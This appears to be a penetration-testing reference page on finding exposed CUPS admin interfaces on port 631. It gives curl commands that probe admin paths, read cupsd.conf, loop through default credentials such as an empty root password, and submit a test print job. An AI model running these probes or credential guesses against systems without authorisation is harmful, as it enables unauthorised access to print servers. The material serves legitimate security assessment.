# CUPS Admin Interface Exposure

- **URL:** https://hackindex.io/services/ipp-cups/vulnerability-discovery/cups-admin-interface-exposure
- **Path:** IPP / CUPS > Vulnerability Discovery
- **Up:** [Vulnerability Discovery](https://hackindex.io/services/ipp-cups/vulnerability-discovery.md)
- **Published:** 2026-04-04
- **Updated:** 2026-04-04

The CUPS web admin interface on port 631 manages printers, queues, and print jobs. When accessible without authentication or with default credentials from an untrusted network, it enables adding printers, modifying queue configurations, submitting print jobs, and reading job data. Unauthenticated admin access on an externally reachable host is a critical misconfiguration. Confirm port accessibility through [CUPS service detection](https://hackindex.io/services/ipp-cups/enumeration/ipp-cups-service-detection) first.

- Test Admin Interface Without Credentials
- Access CUPS Configuration File
- Test Default and Common Credentials
- Submit a Print Job via IPP

## Test Admin Interface Without Credentials

```bash
curl -skI http://$TARGET_IP:631/admin/ | grep -iE 'HTTP|www-authenticate|location'
# HTTP/1.1 200 OK
# Content-Type: text/html; charset=utf-8
```

A 200 response on `/admin/` without credentials confirms the admin interface is accessible without authentication: a critical finding. The default CUPS configuration restricts admin access to localhost, so remote access means the `ServerAlias` or `Allow from` directives have been misconfigured.

```bash
for path in /admin/ /admin/conf/ /admin/log/ /printers/ /classes/ /jobs/; do
  code=$(curl -skI http://$TARGET_IP:631$path | grep HTTP | awk '{print $2}')
  echo "$code $path"
done
# 200 /admin/
# 200 /admin/conf/
# 403 /admin/log/
# 200 /printers/
# 200 /classes/
# 200 /jobs/
```

## Access CUPS Configuration File

When `/admin/conf/` is accessible, the cupsd.conf configuration file can be read directly: it contains access control rules, TLS settings, and logging configuration:

```bash
curl -sk http://$TARGET_IP:631/admin/conf/cupsd.conf
# LogLevel warn
# MaxLogSize 0
# ErrorPolicy stop-printer
#
# <Location />
#   Order allow,deny
#   Allow all
# </Location>
#
# <Location /admin>
#   Order allow,deny
#   Allow all
# </Location>
```

`Allow all` on both `/` and `/admin` confirms the misconfiguration: any host can access and manage the CUPS server. This is the configuration that enables the CVE-2024-47176 attack chain when cups-browsed is also running.

## Test Default and Common Credentials

When the admin interface returns 401, test common credentials. CUPS admin auth uses the system user credentials on Linux:

```bash
for cred in root:root root: admin:admin cups:cups lpadmin:lpadmin root:password; do
  code=$(curl -skI -u "$cred" http://$TARGET_IP:631/admin/ | grep HTTP | awk '{print $2}')
  echo "$code $cred"
  [ "$code" = "200" ] && echo "VALID: $cred"
done
# 401 root:root
# 200 root:
# VALID: root:
```

An empty root password is common on embedded systems and older Linux installations. On standard Linux, CUPS admin requires a user in the `lpadmin` group: the root account is always a member.

## Submit a Print Job via IPP

Submitting a print job through the admin interface confirms write access and tests whether the CUPS server processes external print requests:

```bash
# List available printers to find a valid queue name
curl -sk http://$TARGET_IP:631/printers/ | grep -oE 'href="/printers/[^"]+"'
# href="/printers/HP_LaserJet"
```

```bash
# Test job submission with a minimal text document
echo 'pentest-test-job' | lp -h $TARGET_IP:631 -d HP_LaserJet 2>&1
# request id is HP_LaserJet-42 (1 file(s))
```

A job ID returned confirms unauthenticated print job submission is possible. Cancel the test job immediately:

```bash
cancel -h $TARGET_IP:631 HP_LaserJet-42
```

## References

- [CUPS: cupsd.conf](https://www.cups.org/doc/man-cupsd.conf.html) - Access control directives including Location, Order, Allow, and Deny